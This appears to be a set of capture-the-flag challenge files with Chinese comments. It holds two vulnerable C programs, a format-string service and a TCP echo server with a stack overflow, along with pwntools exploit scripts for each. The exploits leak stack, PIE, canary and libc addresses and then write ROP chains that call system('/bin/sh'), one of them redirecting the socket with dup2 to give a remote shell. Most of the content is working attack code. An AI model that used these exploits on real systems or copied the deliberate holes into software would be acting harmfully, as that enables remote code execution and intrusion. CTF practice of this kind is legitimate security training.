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#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);

  for (size_t i = 0; i < len; i++) {
    if (fmt[i] == '%') {
      if (fmt[i+1] == '%') {
        i++;
        continue;
      }

      if (isdigit(fmt[i+1])) {
        puts("[-] Positional argument not supported");
        return 1;
      }

      if (argcnt >= n_args) {
        printf("[-] Cannot use more than %lu specifiers\n", n_args);
        return 1;
      }

      argcnt++;
    }
  }

  return 0;
}

int main() {
  size_t n_args;
  long args[4];
  char fmt[256];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }

    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }

    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }

    /* Get format string */
    while (getchar() != '\n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }

    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }

    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }

  return 0;
}

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def send_payload(n_args, args_list, fmt_str):
    io.sendlineafter(b"# of args: ", str(n_args).encode())
    # 填充 args 数组
    for i in range(n_args):
        io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
    io.sendlineafter(b"Format string: ", fmt_str)

def write_byte(addr, val):
    """
    使用 %*c%hhn 写入 1 字节
    args[0] = 写入值 (width)
    args[1] = 0 (char)
    args[2] = 目标地址 (pointer)
    """
    # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
    if val == 0:
        val = 256

    # args[0] = width/value, args[1] = char, args[2] = pointer
    args_write = [val, 0, addr, 0]

    # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
    # n_args=3 或 4 均可 (我们用 4)
    send_payload(4, args_write, b"%*c%hhn")

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import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = "13337"


context(log_level="debug", os="linux", arch=arch)  
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(
        io,
        gdbscript="""
        """,
    )
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename, checksec=False)
if libc_name:
    libc = ELF(libc_name, checksec=False)
else:
    libc=elf.libc


def send_payload(n_args, args_list, fmt_str):
    io.sendlineafter(b"# of args: ", str(n_args).encode())
    # 填充 args 数组
    for i in range(n_args):
        io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
    io.sendlineafter(b"Format string: ", fmt_str)


def write_byte(addr, val):
    """
    使用 %*c%hhn 写入 1 字节
    args[0] = 写入值 (width)
    args[1] = 0 (char)
    args[2] = 目标地址 (pointer)
    """
    # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
    if val == 0:
        val = 256

    # args[0] = width/value, args[1] = char, args[2] = pointer
    args_write = [val, 0, addr, 0]

    # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
    # n_args=3 或 4 均可 (我们用 4)
    send_payload(4, args_write, b"%*c%hhn")


# Leak Addresses libc and PIE
VIO_TEXT("Sending payload to leak addresses...")

# 1. Leak Stack Address (使用 3个 %*c 跳过 Nil from RocketMadev blog)
# 预期打印 Arg 7 ([RSP+16] 或附近)
args_leak_stack = [3, 0, 0, 0]
fmt_stack = b"AAAA%*c%*c%*c%p"
send_payload(4, args_leak_stack, fmt_stack)
io.recvuntil(b"AAAA")
io.recvuntil(b"0x")
stack_leak = int(io.recvline().strip(), 16)
CLEAR_TEXT(f"Leaked stack address: {hex(stack_leak)}")

# Arb Read
store_pie_addr = stack_leak - 0x20
args_leak_pie = [0, 0, store_pie_addr, 0]
payload_pie = b"B%*c%sEND"
send_payload(4, args_leak_pie, payload_pie)
io.recvuntil(b"B")
raw_leak_pie = io.recvuntil(b"END", drop=True)
raw_leak_pie = raw_leak_pie.lstrip(b"\x00").strip()
raw_leak_pie = u64(raw_leak_pie[:7].ljust(8, b"\x00"))
pie_base = raw_leak_pie - 0x12F6
CLEAR_TEXT(f"Calculated PIE base address: {hex(pie_base)}")

# Leak Libc 
store_libc_addr = stack_leak + 0x170
args_leak_libc = [0, 0, store_libc_addr, 0]
payload_libc = b"B%*c%sEND"
send_payload(4, args_leak_libc, payload_libc)
io.recvuntil(b"B")
raw_leak_libc = io.recvuntil(b"END", drop=True)
raw_leak_libc = raw_leak_libc.lstrip(b"\x00").strip()
raw_leak_libc = u64(raw_leak_libc[:7].ljust(8, b"\x00"))
pause()
libc_base = (
    raw_leak_libc - 0x2718a 
)  # __libc_start_call_main+122 的偏移,要微调一下
CLEAR_TEXT(f"Calculated Libc base address: {hex(libc_base)}")

# ROP payload
VIO_TEXT("Constructing ROP chain...")

# 计算返回地址位置
OFFSET_TO_RET = 0x170
ret_addr_ptr = stack_leak + OFFSET_TO_RET
CLEAR_TEXT(f"ROP Chain Start Ptr: {hex(ret_addr_ptr)}")

pop_rdi_ret = pie_base + 0x1282
CLEAR_TEXT(f"pop rdi; ret address: {hex(pop_rdi_ret)}")

bin_sh_addr = libc_base + 0x0000000000196031
CLEAR_TEXT(f"/bin/sh address: {hex(bin_sh_addr)}")
system_addr = libc_base + 0x4C330
exit_addr = libc_base + libc.sym["exit"] 
ret_addr = pie_base + 0x101A
CLEAR_TEXT(f"system address: {hex(system_addr)}")
ROP_CHAIN = [
    pop_rdi_ret,  
    bin_sh_addr,  
    ret_addr,
    system_addr,
]
VIO_TEXT("Writing ROP Chain byte-by-byte...")

current_write_ptr = ret_addr_ptr

for addr in ROP_CHAIN:
    for i in range(8):
        byte_to_write = (addr >> (8 * i)) & 0xFF  # 对齐用

        # 写入
        write_byte(current_write_ptr + i, byte_to_write)

    # 移动到下一个地址的起始点
    current_write_ptr += 8

CLEAR_TEXT("ROP Chain written successfully.")

VIO_TEXT("Triggering the overwritten return address...")

# pause()
# 发送非数字字符，使 scanf 失败，main 函数 return，触发 ROP 链
io.sendlineafter(b"# of args: ", b"#")

io.interactive()

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#define _GNU_SOURCE 
#include <stdio.h>      // 标准输入/输出库，用于 perror
#include <stdlib.h>     // 标准库，用于 atoi
#include <netinet/in.h> // 包含 sockaddr_in 结构体和 IP 宏定义
#include <sys/socket.h> // 包含 socket, bind, listen, accept 等函数
#include <sys/types.h>  // 包含基本系统数据类型
#include <unistd.h>     // 包含 close 函数

int main(int argc, char **argv) {
    // 客户端地址结构体 (cli) 和服务器地址结构体 (addr)，用 {0} 初始化为零
    struct sockaddr_in cli, addr = {0}; 
    socklen_t clen;         // 客户端地址结构体的长度
    int cfd;                // 客户端文件描述符 (Client File Descriptor)
    int sfd = -1;           // 服务器文件描述符 (Server File Descriptor)，-1 表示未初始化或失败
    int yes = 1;            // 用于 setsockopt() 设置选项的值 (开启)
    ssize_t n;              // 用于存储接收数据的长度或 recv/send 的返回值
    char buf[0x100];        // 栈缓冲区，大小为 256 字节 (0x100)，用于存放客户端发送的数据
    // 解析命令行参数：如果没有参数，默认端口 31337；否则使用第一个参数作为端口号
    unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

    // 1. 创建 Socket
    // AF_INET: IPv4 地址族；SOCK_STREAM: TCP 协议（流式套接字）；0: 默认协议
    if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket"); // 输出错误信息
        goto err;
    }

    // 2. 设置 Socket 选项：地址复用
    // SOL_SOCKET: 套接字级别选项；SO_REUSEADDR: 允许重用本地地址，避免 TIME_WAIT 状态导致绑定失败
    // 即使前一个进程在端口上留下了 TIME_WAIT 状态的连接，新进程也能立即启动并重新绑定到该端口，极大地提高了服务器的重启效率。
    if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
        perror("setsockopt(SO_REUSEADDR)");
        goto err;
    }

    // 3. 填充服务器地址结构体
    addr.sin_family = AF_INET;
    // htonl(): 主机字节序转网络字节序 (32位)，INADDR_ANY: 监听本机所有网络接口 (0.0.0.0)
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    // htons(): 主机字节序转网络字节序 (16位)，设置监听端口
    addr.sin_port = htons(port);

    // 4. 绑定 IP 地址和端口到 Socket
    if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        perror("bind");
        goto err;
    }

    // 5. 开始监听连接
    // 将 Socket 设为被动模式，准备接受连接；backlog 参数为 1 (等待连接队列的最大长度)
    if (listen(sfd, 1) < 0) {
        perror("listen");
        goto err;
    }

    // 6. 接受客户端连接
    clen = sizeof(cli);
    // 阻塞等待客户端连接。连接成功后，返回新的文件描述符 cfd 用于通信
    if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
        perror("accept");
        goto err;
    }

    // 7. 进入数据处理循环 (Echo Loop)
    while (1) {
        n = 0;
        // 第一阶段接收：接收数据长度 (ssize_t，通常是 8 字节)
        // MSG_WAITALL: 确保接收到指定字节数 (sizeof(ssize_t)) 后才返回
        recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);
        
        // 退出条件：
        // n <= 0: 客户端断开连接或发送无效长度
        // n >= 0x200 (512): 长度超限，但注意：
        if (n <= 0 || n >= 0x200) 
            break;

        // 第二阶段接收：根据 n 的大小接收数据到缓冲区 buf
        // MSG_WAITALL: 确保接收到 n 个字节后才返回
        recv(cfd, buf, n, MSG_WAITALL);
        
        send(cfd, buf, n, 0); 
    }

    return 0;

err:
    // 错误处理标签：如果程序在任一阶段失败，跳转到这里
    if (sfd >= 0) close(sfd); // 如果 sfd 已经创建成功，则关闭它
    return 1; 
}

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parser.add_argument(
    "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
    help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)

parser.add_argument(
    "-T", "--threads", type=int, default=None, 
    help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()
#...
def launch():
    global io, threads
    process_argv=[filename,str(remote_port)]

    # 优先处理多线程模式 (如果 -T 被设置)
    if args.threads is not None:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        
        threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
        CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
        return threads

    elif args.mode == 0:
        io = process(process_argv)
        CLEAR_TEXT("[*] Running on local machine (mode 0)")
        return io
        
    elif args.mode == 1:
        io = process(process_argv)
        CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
        gdb.attach(io, gdbscript="""
        """)
        return io
        
    elif args.mode == 2:
        io = remote(remote_addr, remote_port)
        CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
        return io
    else:
        sys.exit(1)

#...

if __name__ == "__main__":
    target = launch()
    
    # 判断是否为多线程模式
    if args.threads is not None:
        threads = target
        VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
        if threads:
            VIO_TEXT("Entering interactive mode on the first thread for manual control...")
            main(threads)
    else:
        io = target
        VIO_TEXT("--- Single Connection Exploit Mode Active ---")
        
        io.interactive()

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2

python exp_thread.py 1 
python exp_thread.py -T 1

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import argparse
import sys
from pwn import *
# --------------------------
# 1. 命令行参数定义
# --------------------------
parser = argparse.ArgumentParser(description="Pwn Exploit Script with multi-mode and multi-thread support.")

parser.add_argument(
    "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
    help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)
parser.add_argument(
    "-T", "--threads", type=int, default=None, 
    help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()

# --- 配置信息 ---
filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "172.23.0.2" #NOTE:这里要注意不能用docker的回环地址 
remote_port = 5000 
# remote_addr = "localhost" 
# remote_port = 13337

context(log_level="debug", os="linux", arch=arch)

# 仅在 local/gdb 模式下，且没有使用线程模式时设置 terminal
if args.mode < 2 and args.threads is None:
    context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
    libc = ELF(libc_name, checksec=False)

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

def launch():
    global io, threads
    process_argv=[filename,str(remote_port)]

    # 优先处理多线程模式 (如果 -T 被设置)
    if args.threads is not None:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        
        threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
        CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
        return threads

    elif args.mode == 0:
        io = process(process_argv)
        CLEAR_TEXT("[*] Running on local machine (mode 0)")
        return io
        
    elif args.mode == 1:
        io = process(process_argv)
        CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
        gdb.attach(io, gdbscript="""
        """)
        return io
        
    elif args.mode == 2:
        io = remote(remote_addr, remote_port)
        CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
        return io
    else:
        sys.exit(1)

# 先python 1启动一个终端进行开启进程和gdb调试，然后再在另一个终端进行数据交互
def main(threads):
    t0:tube
    # 使用第一个线程进行交互泄漏和攻击 
    t0 = threads[0]
    t0.sendline(flat(0x180))
    t0.sock.send(b"A" * 2, constants.MSG_OOB)
    # or 
    # with sock.out_of_band():
    #     sock.send(b"A" * 2)
    data=t0.recv()

    canary=int.from_bytes(data[0x108:0x110],"little")
    libc.address=int.from_bytes(data[0x118:0x120],"little")-0x2a1ca
    
    CLEAR_TEXT(f"[*] Leaked Canary: {hex(canary)}")
    CLEAR_TEXT(f"[*] Leaked Libc Base: {hex(libc.address)}")

    t0.sendline(flat(0x188))

    VIO_TEXT("[*] Sending ROP payload...")
    pop_rdi_ret=libc.address+0x000000000010f78b
    pop_rsi_ret=libc.address+0x0000000000110a7d
    ret_addr=libc.address+0x000000000002882f
    payload=flat({
        0x108-1:canary,
        0x118-1:pop_rdi_ret,
        0x120-1:4, #fd 
        0x128-1:pop_rsi_ret, # 0
        0x138-1:libc.sym['dup2'],
        0x140-1:pop_rdi_ret,
        0x148-1:4,
        0x150-1:pop_rsi_ret,
        0x158-1:1,
        0x160-1:libc.sym['dup2'],
        0x168-1:ret_addr, 
        0x170-1:pop_rdi_ret,
        0x178-1:libc.search(b"/bin/sh\x00").__next__(),
        0x180-1:libc.sym['system'],
    },filler=b"\x00").ljust(0x188,b"\x00")
    t0.send(payload)
    t0.sendline(p64(0))
    t0.interactive()

if __name__ == "__main__":
    target = launch()
    
    # 判断是否为多线程模式
    if args.threads is not None:
        threads = target
        VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
        if threads:
            VIO_TEXT("Entering interactive mode on the first thread for manual control...")
            main(threads)
    else:
        io = target
        VIO_TEXT("--- Single Connection Exploit Mode Active ---")
        io.interactive()